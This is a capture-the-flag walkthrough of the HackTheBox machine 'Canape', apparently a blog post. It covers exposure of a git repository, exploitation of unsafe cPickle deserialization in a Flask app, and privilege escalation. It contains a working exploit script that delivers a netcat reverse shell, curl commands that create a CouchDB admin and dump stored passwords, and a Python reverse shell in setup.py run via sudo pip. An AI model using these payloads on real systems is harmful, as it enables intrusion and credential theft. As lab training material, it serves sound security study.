HackTheBox - Canape

Enumeration Phase

Nmap report:

Nmap scan report for 10.10.10.70
Host is up (0.029s latency).
Not shown: 999 filtered ports
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
| http-git:
|   10.10.10.70:80/.git/
|     Git repository found!
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|     Last commit message: final # Please enter the commit message for your changes. Li...
|     Remotes:
|_      http://git.canape.htb/simpsons.git
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Simpsons Fan Site

Add canape.htb and git.canape.htb to your hosts file if you haven’t already done so. We can see the Apache Server is running a Simpsons Fan Site where we can read character quotes and maybe even submit our own fan quotes. But we already noticed in the nmap report that there is a git repository stored on the server so why don’t we check that out first?

Let’s simply clone it: git clone http://git.canape.htb/simpsons.git

Looks like this is the code of the python webserver:

import couchdb
import string
import random
import base64
import cPickle
from flask import Flask, render_template, request
from hashlib import md5

app = Flask(__name__)
app.config.update(
    DATABASE = "simpsons"
)
db = couchdb.Server("http://localhost:5984/")[app.config["DATABASE"]]

@app.errorhandler(404)
def page_not_found(e):
    if random.randrange(0, 2) > 0:
        return ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(random.randrange(50, 250)))
    else:
	return render_template("")

@app.route("/")
def index():
    return render_template("")

@app.route("/quotes")
def quotes():
    quotes = []
    for id in db:
        quotes.append({"title": db[id]["character"], "text": db[id]["quote"]})
    return render_template('quotes.html', entries=quotes)

WHITELIST = [
    "homer",
    "marge",
    "bart",
    "lisa",
    "maggie",
    "moe",
    "carl",
    "krusty"
]

@app.route("/submit", methods=["GET", "POST"])
def submit():
    error = None
    success = None

    if request.method == "POST":
        try:
            char = request.form["character"]
            quote = request.form["quote"]
            if not char or not quote:
                error = True
            elif not any(c.lower() in char.lower() for c in WHITELIST):
                error = True
            else:
                # TODO - Pickle into dictionary instead, `check` is ready
                p_id = md5(char + quote).hexdigest()
                outfile = open("/tmp/" + p_id + ".p", "wb")
		outfile.write(char + quote)
		outfile.close()
	        success = True
        except Exception as ex:
            error = True

    return render_template("submit.html", error=error, success=success)

@app.route("/check", methods=["POST"])
def check():
    path = "/tmp/" + request.form["id"] + ".p"
    data = open(path, "rb").read()

    if "p1" in data:
        item = cPickle.loads(data)
    else:
        item = data

    return "Still reviewing: " + item

if __name__ == "__main__":
    app.run()

Now we are able to see what the website is actually doing and how it works, awesome! As you might have already noticed in early Enumeration, every page that is not one of /, /submit, /check, /quotes just returns a random ASCII string.

Let’s go through the code and try understanding what it’s doing.

app = Flask(__name__)
app.config.update(
    DATABASE = "simpsons"
)
db = couchdb.Server("http://localhost:5984/")[app.config["DATABASE"]]

Flask is a microframework for Python based on Werkzeug, Jinja 2 and good intentions.

This part is just initializing the webserver and attaching the couchdb server with the “simpson” database.

@app.errorhandler(404)
def page_not_found(e):
    if random.randrange(0, 2) > 0:
        return ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(random.randrange(50, 250)))
    else:
	    return render_template("")

This is the function that handles a “404 Not Found” Error. If the random range is bigger than 0 the website prints a random String of ASCII uppercase letters and digits. Else it simply shows .

@app.route("/")
def index():
    return render_template("")

Just showing the home page .

@app.route("/quotes")
def quotes():
    quotes = []
    for id in db:
        quotes.append({"title": db[id]["character"], "text": db[id]["quote"]})
    return render_template('quotes.html', entries=quotes)

This function creates a list with all the entries in JSON format from the attached database, then shows quotes.html with that list.

WHITELIST = [
    "homer",
    "marge",
    "bart",
    "lisa",
    "maggie",
    "moe",
    "carl",
    "krusty"
]

Next is just a list containing character names from the simpsons.

@app.route("/submit", methods=["GET", "POST"])
def submit():
    error = None
    success = None

    if request.method == "POST":
        try:
            char = request.form["character"]
            quote = request.form["quote"]
            if not char or not quote:
                error = True
            elif not any(c.lower() in char.lower() for c in WHITELIST):
                error = True
            else:
                # TODO - Pickle into dictionary instead, `check` is ready
                p_id = md5(char + quote).hexdigest()
                outfile = open("/tmp/" + p_id + ".p", "wb")
		outfile.write(char + quote)
		outfile.close()
	        success = True
        except Exception as ex:
            error = True

    return render_template("submit.html", error=error, success=success)

Now comes one of the more interesting functions, one where we are able to input data. The important stuff only happens if there is a POST request to that url. It checks for the 2 fields “character” & “quote”, converts character to lowercase and checks if the string is inside WHITELIST. Once all these conditions pass it will create a “p_id” which is an md5hash of our 2 parameter strings mashed together. Then it will create a file “/tmp/md5hash.p” and write the mashed string inside. Cool, we are able to write data to the system and we can exactly predict where it is going to be.

@app.route("/check", methods=["POST"])
def check():
    path = "/tmp/" + request.form["id"] + ".p"
    data = open(path, "rb").read()

    if "p1" in data:
        item = cPickle.loads(data)
    else:
        item = data

    return "Still reviewing: " + item

The check function is where the magic happens, which we are going to abuse to get a code execution. This function only allows POST requests, and it is looking for a field called “id”. This id will be the md5hash that we are going to predict. It opens the file “/tmp/id.p” and stores the content inside “data”. If the content of the file contains the string “p1” it will try to perfrom the cPickle.loads() function on the data which is never a good idea. Else it will just copy the contents into item, and finally display the item.

if __name__ == "__main__":
    app.run()

Lastly the main function which simply starts the webserver.

Exploit with cPickle

In case you didn’t already know, unpickling unsecure data can lead to code execution.

As stated in the pickle documentation:

Warning:

The pickle module is not secure against erroneous or maliciously constructed data. Never >unpickle data received from an untrusted or unauthenticated source.

So my idea was to write a script which sends a request to “/submit” to first store my payload on the system and then using “/check” to trigger the cPickle.loads() function and execute my payload. The payload is generated by returning an object of a os.system([..]) call and then pickling it with the cPickle.dumps() function. In this case i simply used a netcat reverse shell and we have to add something like echo homer; to pass the whitelist check inside the submit() function of the webserver. Next we have to send a POST request with our shellcode in the “character” field, “quote” is unimportant so i just put a newline character inside. Now we only have to calculate the md5hash of the data and send a POST request to “/check” to achieve code execution. Additionally i used Popen to automatically start a nc listener.

#!/usr/bin/python

import os
import cPickle
import requests
import sys
from hashlib import md5
from subprocess import Popen


if len(sys.argv) != 3:
    print("Usage: "+sys.argv[0]+" <ip> <port>")
    sys.exit()

ip = sys.argv[1]
port = sys.argv[2]

class Exploit(object):
     def __reduce__(self):
        return (os.system, ('echo homer;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc '+ip+' '+port+' >/tmp/f',))

def calPayload():
    return cPickle.dumps(Exploit())

shellcode = calPayload()

r = requests.post("http://canape.htb/submit", data = {'character':shellcode, 'quote': '\n' })
if r.status_code == 200:
    print("Payload succesfully sent!")

md5hash = md5(shellcode+"\n").hexdigest()

command = ['/bin/nc','-lnp',str(port)]
try:
    Popen(command)
except:
    print("ERROR")

r1 = requests.post("http://canape.htb/check", data = {'id':md5hash})
print(r1.status_code,r1.reason)
root@kali:~/# ./exploit.py 10.10.14.15 9000
Payload succesfully sent!
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

User Privilege Escalation

Right now we are only have a shell as www-data and need to escalate to the user homer to grab the user.txt file. We already know this box is running a couchdb Server and the name “Canape” also means couch. There is a privilege escalation exploit for which allows us to create a db superuser and read all the database entries. Link: https://blog.trendmicro.com/trendlabs-security-intelligence/vulnerabilities-apache-couchdb-open-door-monero-miners/

We will only need the first part, not the RCE parts.

There are a few exploits already out there but in this case i used curl to issue the commands myself since we need only 3 commands:

  1. create a new admin user
  2. base64 encode “user:password” for authentication
  3. read the database entries with Authorization string
www-data@canape:/$ curl -H 'Content-Type: application/json' -X PUT -d '{"type": "user", "name": "imthoe", "roles": ["_admin"], "roles": [], "password": "imthoe" }' http://127.0.0.1:5984/_users/org.couchdb.user:imthoe
<oe" }' http://127.0.0.1:5984/_users/org.couchdb.user:imthoe                 
{"ok":true,"id":"org.couchdb.user:imthoe","rev":"1-498a9134f3fdca1565701846f4fff645"}

www-data@canape:/$ echo "imthoe:imthoe" | base64     
echo "imthoe:imthoe" | base64
aW10aG9lOmltdGhvZQo=

www-data@canape:/$ curl -H 'Authorization: Basic aW10aG9lOmltdGhvZQ==' -X GET http://127.0.0.1:5984/passwords/_all_docs?include_docs=true
<ttp://127.0.0.1:5984/passwords/_all_docs?include_docs=true
< passwords table entries >

There are quite a few passwords but the only interesting one is the ssh entry, which reads:

[..] "item":"ssh","password":"0B4jyA0xtytZi7esBNGp","user":"" [..]

www-data@canape:/$ su homer
su homer
Password: 0B4jyA0xtytZi7esBNGp
homer@canape:/$ id
id
uid=1000(homer) gid=1000(homer) groups=1000(homer)

Or we could also login through ssh, which is open on port 65535 which is easy to miss during a normal portscan.

Root Privilege Escalation

The escalation to the root user is pretty simple and easy to find. We are able to run pip install with sudo:

homer@canape:~$ sudo -l
[sudo] password for homer:
Matching Defaults entries for homer on canape:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User homer may run the following commands on canape:
    (root) /usr/bin/pip install *

The pip install * command is simply executing a setup.py file inside the given folder. All we have to do is create a file called setup.py in the current folder, paste a python reverse shell inside and run sudo pip install .

homer@canape:/tmp/.pwn$ cat setup.py
# Put reverse Shell here
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.15",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

homer@canape:/tmp/.pwn$ sudo pip install .
root@kali:~# nc -lvp 1234
listening on [any] 1234 ...
connect to [10.10.14.15] from canape.htb [10.10.10.70] 35770
# id
uid=0(root) gid=0(root) groups=0(root)

And thats all for canape!